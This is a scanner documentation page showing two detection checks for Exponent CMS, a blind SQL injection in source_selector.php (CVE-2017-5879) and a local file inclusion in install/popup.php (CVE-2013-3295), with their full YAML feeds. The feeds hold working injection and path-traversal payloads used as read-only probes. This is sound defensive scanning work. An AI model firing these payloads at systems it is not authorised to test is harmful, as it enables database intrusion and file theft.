Exponent CMS — 2 vulnerability checks

noctis ships 2 vulnerability checks for Exponent CMS, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Exponent CMS source_selector.php src SQL Injection

CVECVE-2017-5879
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/exponent-cms/CVE-2017-5879.yaml

Exponent CMS 2.4.1 passes the src parameter of source_selector.php unescaped into a SQL query, allowing unauthenticated blind SQL injection through a plain GET request. Fixed in 2.4.2.

This check first confirms Exponent CMS from the generator tag of the selector page. It then sends requests whose src value carries a SLEEP of random length in a derived table: a vulnerable site delays each reply by the requested time over a baseline request, for two different random delays. No table is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /source_selector.php?controller=blog&action=showall&src=noctis
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET /source_selector.php?controller=blog&action=showall&src=noctis%27%20or%20(select%20*%…
  5. HTTP(S) request GET /source_selector.php?controller=blog&action=showall&src=noctis%27%20or%20(select%20*%…
  6. HTTP(S) request GET /source_selector.php?controller=blog&action=showall&src=noctis%27%20or%20(select%20*%…
  7. Parses / computes the next value with a Rhai script
  8. Checks thit for true → finding QoD 75: Exponent CMS source_selector.php SQL Injection (CVE-2017-5879)

References:

Feed source — tests/vulnerabilities/exponent-cms/CVE-2017-5879.yaml
# Exponent CMS 2.4.1 — source_selector.php `src` blind SQL injection (CVE-2017-5879)
#
# source_selector.php hands the `src` request parameter to the module/controller
# layer, which puts it unescaped into a MySQL query. Release 2.4.2 strips everything
# but [A-Za-z0-9@-] from `src` in selector.php, so quotes and spaces never reach SQL.
# NVD scores it 9.8 (v3.0).
#
# Detection: gate on the Exponent generator meta tag served by the very page we probe
# (GET /source_selector.php?controller=blog&action=showall&src=noctis), then a
# time-based proof on `src` with a SLEEP in a derived table (evaluated once whatever
# the row count, SLEEP returns 0 so the condition is false and nothing is changed):
#   noctis' or (select * from (select(sleep(n)))noctis)-- 
# Two random delays (long first) over a fast baseline must each land in their own
# window for the same multiple m = 1..3 (the value may run through several queries),
# with a gap of at least m*2 s between them (a tarpit adding one delay to every
# request gives ~0). Read-only: no table referenced, nothing written or extracted.
#
# Better than the source NVT: it only needs unix-second resolution, uses fixed delays
# of 3 and 5 s that any slow server can mimic and does not check that the page is
# Exponent; here the delays are random, two-sided and the page is fingerprinted first.
#
# Source: OpenVAS/Greenbone NVT 2017/gb_exponent_cms_96039.nasl
# (OID 1.3.6.1.4.1.25623.1.0.108077, GPL-2.0-only).
uid: ae946e2f-6e0c-44c5-9537-7d20e48d02f5
name: "Exponent CMS source_selector.php src SQL Injection (CVE-2017-5879)"
description: |
  Exponent CMS 2.4.1 passes the src parameter of source_selector.php unescaped into
  a SQL query, allowing unauthenticated blind SQL injection through a plain GET
  request. Fixed in 2.4.2.

  This check first confirms Exponent CMS from the generator tag of the selector page.
  It then sends requests whose src value carries a SLEEP of random length in a
  derived table: a vulnerable site delays each reply by the requested time over a
  baseline request, for two different random delays. No table is read and nothing is
  written.
cves: [CVE-2017-5879]
cvss: 9.8
severity: critical
category: sqli
confidence_base: 0.30
tags: [exponent-cms, cms, sqli, time-based, php, mysql]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-5879"

steps:
  - id: gen-proof
    action: script
    code: |
      let s1 = rand_int(6, 7);
      #{ s1: s1, s2: s1 - 3 }
    store_as: sc

  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}

  - id: init-t-base
    action: set_var
    var_name: t_base
    var_value: {status: 0, duration_ms: 0}

  - id: init-t-long
    action: set_var
    var_name: t_long
    var_value: {status: 0, duration_ms: 0}

  - id: init-t-short
    action: set_var
    var_name: t_short
    var_value: {status: 0, duration_ms: 0}

  - id: selector-page
    action: http_request
    method: GET
    path: "/source_selector.php?controller=blog&action=showall&src=noctis"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    store_as: page

  - id: is-exponent
    action: script
    code: |
      page.status == 200 && type_of(page.body) == "string"
        && page.body.contains("Exponent Content Management System")
    store_as: exponent

  - id: time-baseline
    action: http_request
    method: GET
    path: "/source_selector.php?controller=blog&action=showall&src=noctis%27%20or%20(select%20*%20from%20(select(sleep(0)))noctis)--%20"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 20
    condition: "exponent"
    store_as: t_base

  - id: time-long
    action: http_request
    method: GET
    path: "/source_selector.php?controller=blog&action=showall&src=noctis%27%20or%20(select%20*%20from%20(select(sleep({{sc.s1}})))noctis)--%20"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    condition: "exponent && t_base.status == 200 && t_base.duration_ms < 4000"
    store_as: t_long

  - id: time-short
    action: http_request
    method: GET
    path: "/source_selector.php?controller=blog&action=showall&src=noctis%27%20or%20(select%20*%20from%20(select(sleep({{sc.s2}})))noctis)--%20"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 40
    condition: "exponent && t_long.status != 0 && t_long.duration_ms >= t_base.duration_ms + sc.s1 * 1000 - 1000"
    store_as: t_short

  # m = number of queries `src` goes through (each sleeps once): long SLEEP in
  # base+[m*s1-1, m*s1+3) s, short SLEEP in base+[m*s2-1, m*s2+2) s for the same m, and
  # the long reply at least m*2 s slower than the short one.
  - id: check-time
    action: script
    code: |
      let ok = false;
      if exponent && t_base.status == 200 && t_long.status != 0 && t_short.status != 0 {
        let dl = t_long.duration_ms - t_base.duration_ms;
        let ds = t_short.duration_ms - t_base.duration_ms;
        for m in 1..4 {
          if dl >= m * sc.s1 * 1000 - 1000 && dl < m * sc.s1 * 1000 + 3000
            && ds >= m * sc.s2 * 1000 - 1000 && ds < m * sc.s2 * 1000 + 2000
            && t_long.duration_ms - t_short.duration_ms >= m * 2000 { ok = true; }
        }
      }
      ok
    store_as: thit

  - id: report-time
    action: match
    source: thit
    pattern: "true"
    condition: "thit"
    on_match:
      finding:
        title: "Exponent CMS source_selector.php SQL Injection (CVE-2017-5879)"
        description: "Unauthenticated GET requests to source_selector.php whose src value carries a SLEEP in a derived table were delayed by the two requested random times: the src parameter reaches a SQL query unescaped, so an attacker can read the database (including out of band) without logging in."
        remediation: "Upgrade Exponent CMS to 2.4.2 or later, which restricts src to letters, digits, @ and -."
        confidence_delta: 0.50
        qod: 75
        evidence: "GET /source_selector.php?controller=blog&action=showall&src=noctis' or (select * from (select(sleep(n)))noctis)-- : baseline {{t_base.duration_ms}} ms, sleep({{sc.s1}}) {{t_long.duration_ms}} ms, sleep({{sc.s2}}) {{t_short.duration_ms}} ms"
      stop: true

Exponent CMS install/popup.php page Local File Inclusion

CVECVE-2013-3295
Severityhigh · CVSS 7.5
Categoryfile-read — File read
Serviceshttp, https
Detectionset_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/exponent-cms/CVE-2013-3295.yaml

Tests Exponent CMS before 2.2.0 RC1 for the unauthenticated local file inclusion in install/popup.php. The page parameter is put in an include path without filtering, so ../ sequences and a NUL byte that cuts the appended .php suffix include any local file when PHP is older than 5.3.4. Under the web root, /exponent, /exponent-cms and /cms, the feed requests popup.php with page set to /proc/version, a read-only kernel file, then to windows/win.ini for Windows servers. The kernel version line or the win.ini sections printed in the reply confirm the inclusion. A control request for an absent random file through the same parameter must not return the file, so a server that serves the same content on every request is not reported. Nothing is written on the target.

How noctis detects it

  1. HTTP(S) request GET {{dir}}/install/popup.php?page=../../../../../../../../../../proc/version%00
  2. Checks version_r.body for Linux version [0-9]+\.[0-9]+[^ \r\n<]* \([^\r\n]*\) #[0-9]+
  3. HTTP(S) request GET {{dir}}/install/popup.php?page=../../../../../../../../../../windows/win.ini%00
  4. Checks winini_r.body for (?i)(; for 16-bit app support|\[fonts\])
  5. HTTP(S) request GET {{dir}}/install/popup.php?page=../../../../../../../../../../noctis-absent-{{oob_toke…
  6. Checks ctrl_r.body for (?i)(Linux version [0-9]+\.[0-9]+[^ \r\n<]* \(|; for 16-bit app suppo…
  7. Checks hit_file for ^(proc/version|windows/win\.ini)$ → finding QoD 75: Exponent CMS install/popup.php Local File Inclusion (CVE-2013-3295)

References:

Feed source — tests/vulnerabilities/exponent-cms/CVE-2013-3295.yaml
# Exponent CMS < 2.2.0 RC1 install/popup.php `page` parameter local file inclusion — CVE-2013-3295
#
# install/popup.php of Exponent CMS 2.2.0 beta 3 (2.2.0 final adds expString::sanitize):
#   $page = (isset($_REQUEST['page']) ? $_REQUEST['page'] : '');
#   if (is_readable('popups/'.$page.'.php')) include('popups/'.$page.'.php');
# With "../" sequences and a %00 that cuts the ".php" suffix (PHP < 5.3.4) the
# include reaches any local file, which PHP runs (or prints as-is when it holds
# no PHP code). The installer folder is not removed on many installs.
#
# Detection (benign, read-only): GET popup.php with page set to
# ../ ... /proc/version%00 — a read-only kernel file with a fixed
# "Linux version <release> (...) #<n>" line — then windows/win.ini for Windows
# servers. The file content printed in the reply proves the inclusion. QoD 75.
#
# Improvements over the source NVT (which only reads /etc/passwd or boot.ini and
# stops on a "root:"-style hit):
#   - /proc/version: procfs cannot be rewritten and holds no account data.
#   - A control request (same script and parameter, a path in an absent random
#     directory ending with the file that hit) must come back WITHOUT the file
#     content, so a blanket responder or a honeypot keyed on the file name is not
#     reported (fail-closed: no control reply, no finding).
#   - Probes the usual install locations (web root, /exponent, /exponent-cms, /cms).
#
# CVE mapping: the issue also lists CVE-2013-3294 (src / username SQL injection in
# index.php), which the source NVT does not test; only CVE-2013-3295 is proven here.
# CVSS: NVD has only a v2 score (7.5) for CVE-2013-3295.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_exponent_cms_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.803702, GPL-2.0-only).
uid: 31305211-40bf-4fae-9a43-8979d444b07d
name: "Exponent CMS install/popup.php page Local File Inclusion (CVE-2013-3295)"
description: |
  Tests Exponent CMS before 2.2.0 RC1 for the unauthenticated local file inclusion
  in install/popup.php. The page parameter is put in an include path without
  filtering, so ../ sequences and a NUL byte that cuts the appended .php suffix
  include any local file when PHP is older than 5.3.4. Under the web root,
  /exponent, /exponent-cms and /cms, the feed requests popup.php with page set to
  /proc/version, a read-only kernel file, then to windows/win.ini for Windows
  servers. The kernel version line or the win.ini sections printed in the reply
  confirm the inclusion. A control request for an absent random file through the
  same parameter must not return the file, so a server that serves the same
  content on every request is not reported. Nothing is written on the target.
cves: [CVE-2013-3295]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [exponent-cms, cms, php, local-file-inclusion, lfi, path-traversal, null-byte, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-3295"
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-3294"
  # OpenVAS/Greenbone NASL 2013/gb_exponent_cms_mult_vuln.nasl (GPL-2.0-only)

steps:
  # Loop group: every following step runs once per install location.
  - id: init-hit-file
    action: set_var
    var_name: hit_file
    var_value: ""
    loop:
      var: dir
      over: ["", "/exponent", "/exponent-cms", "/cms"]

  - id: init-hit-text
    action: set_var
    var_name: hit_text
    var_value: ""

  - id: init-version-r
    action: set_var
    var_name: version_r
    var_value: {status: 0, body: ""}

  - id: init-winini-r
    action: set_var
    var_name: winini_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-r
    action: set_var
    var_name: ctrl_r
    var_value: {status: 0, body: ""}

  - id: init-ctrl-hit
    action: set_var
    var_name: ctrl_hit
    var_value: false

  - id: popup-version
    action: http_request
    method: GET
    path: "{{dir}}/install/popup.php?page=../../../../../../../../../../proc/version%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: version_r

  - id: popup-version-content
    action: match
    source: version_r.body
    pattern: "Linux version [0-9]+\\.[0-9]+[^ \\r\\n<]* \\([^\\r\\n]*\\) #[0-9]+"
    condition: "version_r.status == 200"
    on_match:
      set_vars:
        hit_file: "proc/version"
        hit_text: "the Linux kernel version line of /proc/version"

  # Windows server: windows/win.ini, only when popup.php answered (200).
  - id: popup-winini
    action: http_request
    method: GET
    path: "{{dir}}/install/popup.php?page=../../../../../../../../../../windows/win.ini%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_file == "" && version_r.status == 200'
    store_as: winini_r

  - id: popup-winini-content
    action: match
    source: winini_r.body
    pattern: "(?i)(; for 16-bit app support|\\[fonts\\])"
    condition: 'hit_file == "" && winini_r.status == 200'
    on_match:
      set_vars:
        hit_file: "windows/win.ini"
        hit_text: "the sections of windows/win.ini"

  # Control: same script and parameter, absent random file ending with the file that hit.
  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/install/popup.php?page=../../../../../../../../../../noctis-absent-{{oob_token}}/{{hit_file}}%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'hit_file != ""'
    store_as: ctrl_r

  - id: control-content
    action: match
    source: ctrl_r.body
    pattern: "(?i)(Linux version [0-9]+\\.[0-9]+[^ \\r\\n<]* \\(|; for 16-bit app support|\\[fonts\\])"
    condition: 'hit_file != "" && ctrl_r.status != 0'
    on_match:
      set_vars:
        ctrl_hit: true

  - id: report
    action: match
    source: hit_file
    pattern: "^(proc/version|windows/win\\.ini)$"
    condition: "ctrl_r.status == 200 && ctrl_hit == false"
    on_match:
      finding:
        title: "Exponent CMS install/popup.php Local File Inclusion (CVE-2013-3295)"
        description: "An unauthenticated GET of install/popup.php whose page parameter held a ../ sequence ending in a NUL byte made Exponent CMS include a local system file and print it, while the same request for an absent file did not. The same flaw includes any file the web server user can read and runs any PHP code it holds."
        remediation: "Upgrade Exponent CMS to 2.2.0 or later and delete the install/ directory. Otherwise move to PHP 5.3.4 or later, where a NUL byte no longer cuts a path."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{dir}}/install/popup.php?page=../../../../../../../../../../{{hit_file}}%00 returned {{hit_text}}; control for an absent file returned no file content"
      stop: true

View these feeds on GitHub